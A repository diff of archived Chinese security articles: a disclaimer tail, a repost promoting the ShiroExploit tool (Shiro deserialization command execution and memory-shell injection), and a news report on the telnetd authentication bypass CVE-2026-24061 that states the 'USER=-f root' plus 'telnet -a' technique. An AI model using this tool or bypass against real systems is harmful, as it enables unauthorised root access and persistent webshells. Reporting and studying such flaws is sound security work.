研究日期: 2026年1月22日 研究方法: 白盒代码审计 + 黑盒POC验证 + Docker隔离环境复现
|
||||
|
||||
**免责声明**
|
||||
|
||||
本文所有技术细节和POC代码仅用于安全研究和教育目的。未经授权对生产系统进行渗透测试属于违法行为。请在授权的测试环境中进行安全研究。
|
||||
|
||||
**致谢**
|
||||
|
||||
感谢libexpat团队的快速响应和专业修复，感谢全球安全社区的协作，感谢所有为开源安全做出贡献的研究者。
|
||||
|
||||
**作者简介**
|
||||
|
||||
网络安全研究员，专注于漏洞分析、渗透测试和安全开发。相信通过分享知识可以让互联网更加安全。
|
||||
|
||||
欢迎关注我们的公众号，获取更多安全研究内容。如有问题或建议，欢迎留言交流。
|
||||
|
||||
**版权声明**
|
||||
|
||||
本文原创内容，转载请注明出处并保留完整链接。
|
||||
|
||||
|
||||
@@ -1,30 +1,16 @@
|
||||
# 新Shiro反序列化漏洞一站式综合利用工具
|
||||
FightingLzn9
|
||||
FightingLzn9 夜组安全 2026-01-22 00:02
|
||||
黑白之道 2026-01-25 01:19
|
||||
|
||||
免责声明
|
||||
|
||||
由于传播、利用本公众号夜组安全所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号夜组安全及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！
|
||||
**所有工具安全性自测！！！VX：**
|
||||
**NightCTI**
|
||||
|
||||
朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**夜组安全**
|
||||
“**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具介绍
|
||||
|
||||
ShiroExploit，是一款Shiro反序列化漏洞一站式综合利用工具。
|
||||
|
||||
|
||||
|
||||
## 工具功能
|
||||
|
||||
|
||||
|
||||
|
||||
1、区分ShiroAttack2，采用分块传输内存马，每块大小不超过4000。
|
||||
|
||||
@@ -47,55 +33,47 @@ ShiroExploit，是一款Shiro反序列化漏洞一站式综合利用工具。
|
||||
|
||||
JDK18场景下实现命令执行和打入多种内存马。
|
||||
|
||||
|
||||
|
||||
|
||||
跑key。
|
||||
|
||||
|
||||
|
||||
|
||||
探测利用链。
|
||||
|
||||
|
||||
|
||||
|
||||
命令执行。
|
||||
|
||||
|
||||
|
||||
|
||||
打入Godzilla内存马（支持Behinder内存马）。
|
||||
|
||||
|
||||
|
||||
|
||||
打入SUO5V2内存马。
|
||||
|
||||
|
||||
|
||||
|
||||
支持Tomcat10及以上的内存马。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
## 工具获取
|
||||
|
||||
|
||||
https://github.com/FightingLzn9/ShiroExploit
|
||||
|
||||
点击关注下方名片
|
||||
进入公众号
|
||||
|
||||
回复关键字【
|
||||
260122
|
||||
】获取
|
||||
下载链接
|
||||
> **文章来源：夜组安全**
|
||||
|
||||
|
||||
## 往期精彩
|
||||
|
||||
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！
|
||||
|
||||
如侵权请私聊我们删文
|
||||
|
||||
|
||||
[【红队】一款专业的多协议漏洞利用与攻击模拟平台2026-01-21](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496145&idx=1&sn=38b1287a667573c09ed4f056afc64b4c&scene=21#wechat_redirect)
|
||||
[流量之眼 - 智能被动漏洞扫描平台2026-01-20](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496127&idx=1&sn=b2e9109847a88c84ac808305babaeb8a&scene=21#wechat_redirect)
|
||||
[XSS 漏洞练习靶场，覆盖反射型、存储型、DOM 型、SVG、CSP、框架注入、协议绕过等多种场景2026-01-19](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496120&idx=1&sn=f2153c748593255cb40ae6f8e50a3ab8&scene=21#wechat_redirect)
|
||||
[一款自动化403/401绕过工具 | 请求头注入、谓词篡改等多种实战技巧2026-01-16](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496113&idx=1&sn=6e48fa8ac465f65cffbe9753de1b9c7f&scene=21#wechat_redirect)
|
||||
[Burp Suite插件 | 高级HTTP头修改安全头来绕过安全限制、不同来源或设备的请求2026-01-12](https://mp.weixin.qq.com/s?__biz=Mzk0ODM0NDIxNQ==&mid=2247496101&idx=1&sn=731e9d4fa9782a4bfdcc8622d4bf16b9&scene=21#wechat_redirect)
|
||||
**END**
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
# 黑客利用 telnetd 身份验证绕过漏洞获取 root 权限
|
||||
原创 ZM
|
||||
ZM 暗镜 2026-01-25 01:00
|
||||
|
||||
已发现有针对 GNU InetUtils telnetd 服务器中存在 11 年之久的严重漏洞的协同攻击活动，该漏洞最近才被披露。
|
||||
|
||||
该安全问题编号为 CVE-2026-24061，于 1 月 20 日报告。该漏洞很容易被利用，并且有多个漏洞利用示例已公开。
|
||||
|
||||
该漏洞自 2015 年以来一直存在
|
||||
|
||||
|
||||
|
||||
|
||||
开源贡献者Simon Josefsson 解释说，GNU InetUtils 的 telnetd 组件存在远程身份验证绕过漏洞，这是由于在生成“/usr/bin/login”时未清理环境变量处理造成的。
|
||||
|
||||
该漏洞的产生是因为 telnetd 会将用户控制的 USER 环境变量直接传递给 login(1) 函数，而没有进行任何清理。攻击者可以通过将 USER 设置为-f root并使用 telnet -a命令连接，从而绕过身份验证并获得 root 权限。
|
||||
|
||||
该问题影响 GNU InetUtils 版本 1.9.3（2015 年发布）至 2.7，并在版本 2.8 中进行了修复。对于无法升级到安全版本的用户，缓解策略包括禁用 telnetd 服务或在所有防火墙上阻止 TCP 端口 23。
|
||||
|
||||
GNU InetUtils是由 GNU 项目维护的一系列经典网络客户端和服务器工具（telnet/telnetd、ftp/ftpd、rsh/rshd、ping、traceroute），并在多个 Linux 发行版中使用。
|
||||
|
||||
尽管 Telnet 是一种不安全的旧式组件，并且已被 SSH 基本取代，但许多 Linux 和 Unix 系统仍然保留它，以兼容其他系统或满足特殊用途的需求。由于其简单易用且开销低，Telnet 在工业领域尤其普遍。
|
||||
|
||||
在传统设备和嵌入式设备上，它可以无需更新运行超过十年，这解释了它在物联网设备、摄像头、工业传感器和运营技术 (OT) 网络中的应用。
|
||||
|
||||
Zerotak 是一家渗透测试和网络安全服务公司，其负责人Cristian Cornea告诉 BleepingComputer，在 OT/ICS 环境中，关键系统很难被替换。
|
||||
|
||||
研究人员表示，有时这是不可能的，因为升级会伴随重启操作。“因此，我们仍然会遇到运行 Telnet 服务器的系统，即使尝试用更安全的协议（例如 SSH）替换它们，由于遗留系统仍在运行，这也不可行。”
|
||||
|
||||
一些技术用户仍然依赖 Telnet 来完成某些项目：另一位用户证实，使用 telnet 连接到早已“停止支持”的旧款 Cisco 设备也存在同样的 SSH 问题。
|
||||
|
||||
然而，在公共互联网上暴露的、仍然启用 Telnet 的设备很少，这促使许多研究人员认为 CVE-2026-24061 漏洞的严重性较低。
|
||||
|
||||
威胁监控公司GreyNoise 报告称，已检测到利用 CVE-2026-24061 漏洞对少量易受攻击的终端进行实际攻击活动。
|
||||
|
||||
记录于 1 月 21 日至 22 日期间的活动来自 18 个不同的攻击者 IP 地址，通过 60 个 Telnet 会话发起，所有会话均被认定为 100% 恶意，共发送了 1,525 个数据包，总计 101.6 KB。
|
||||
|
||||
这些攻击利用 Telnet IAC 选项协商机制注入“USER=-f <user>”参数，从而在未经身份验证的情况下授予 shell 访问权限。GreyNoise 表示，大部分攻击活动似乎是自动化的，但也发现了一些“人工操作”的案例。
|
||||
|
||||
攻击的终端速度、类型和 X11 DISPLAY 值各不相同，但在 83.3% 的情况下，它们的目标是“root”用户。
|
||||
|
||||
在渗透后阶段，攻击者进行了自动化侦察，并试图持久化 SSH 密钥和部署 Python 恶意软件。GreyNoise 报告称，由于缺少二进制文件或目录，这些尝试在被观察到的系统中均告失败。
|
||||
|
||||
虽然此次攻击活动的范围和成功程度似乎有限，但在攻击者优化其攻击链之前，应按照建议对可能受影响的系统进行修补或加固。
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in new issue
Block a user